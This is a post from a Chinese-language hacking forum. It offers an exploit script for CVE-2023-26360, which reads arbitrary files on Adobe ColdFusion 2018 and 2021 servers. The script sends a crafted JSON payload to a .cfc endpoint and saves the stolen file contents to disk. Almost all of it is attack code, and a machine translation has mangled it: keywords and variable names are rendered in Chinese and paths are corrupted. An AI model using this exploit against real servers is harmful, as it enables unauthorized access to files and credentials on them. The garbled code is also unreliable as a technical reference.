H

Adobe ColdFusion版本2018,15(及更早)以及2021,5和更早的任意文件阅读

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题:文件读取CVE-2023-26360的任意利用
#Google Dork: [不]
#日期: [12/28/2023]
#利用作者: [Youssef Muhammad]
#供应商HomePage: [
#软件link: [
#版本: [Adobe ColdFusion版本2018,15(及更早)和2021,5和
]
#在:上测试[Windows,Linux]
#CVE : [CVE-2023-26360]
导入系统
导入请求
进口JSON
横幅='''
███████████████████████████████████████████████████████████████
████████████████████████
███████████████████████████████████████████████████
████████████████████████████
██████████████████████████████████████████████████████████████
'''
red_color='\ 033 [91m'
green_color='\ 032 [42m'
reset_color='\ 033 [0m'
def print_banner():
打印(red_color + Banner +'SecureLayer7'开发+ reset_color)
返回0
def run_exploit(host,target_file,endpoint='/cfide/chizards/common/uncom/utils.cfc',proxy_url=none):
如果不是端点
端点+='.cfc'
如果target_file.endswith('。cfc'):
提高价值Error(“ target_file必须指向.cfc”)
targeted_file=f'a/{target_file}'
JSON_VARIABLES=JSON.DUMPS({'_ Metadata': {'className': targeted_file},'_variables': []})
vars_get={'method':'test','_cfclient':'true'}
uri=f'{host} {endpoint}'
响应=requests.post(uri,params=vars_get,data={'_ variables': json_variables},proxies={'http': proxy_url,'https': proxy_url}
file_data=无
plpater='! - '---/td/td/td/td/th/th/th'
if antys.status_code在[404,500]中,然后splatter.text:
file_data=wendesp.text.split(Splatter,1)[0]
如果file_data是无:
提高ValueError('未能读取文件。确保正确设置了CFC_ENDPOINT,CFC_Method和CFC_Method_Parameters,并且可以访问端点。')
打印(file_data)
#将输出保存到文件
output_file_name='output.txt'
使用Open(output_file_name,'w')作为output_file:
output_file.write(file_data)
打印(f'The Output保存到{output_file_name}')
如果name=='__ -Main __':
如果不是3=len(sys.argv)=5:
print('USAGE: PYTHON3 script.py主机target_file [endpoint] [proxy_url]')
sys.exit(1)
print_banner()
主机=sys.argv [1]
target_file=sys.argv [2]
端点=sys.argv [3]如果len(sys.argv)3其他'/cfide/wizards/common/utils.cfc'
proxy_url=sys.argv [4]如果len(sys.argv)4其他
TRY:
run_exploit(主机,target_file,端点,proxy_url)
除异常外,E:
打印(f'Error: {e}')
 
后退
顶部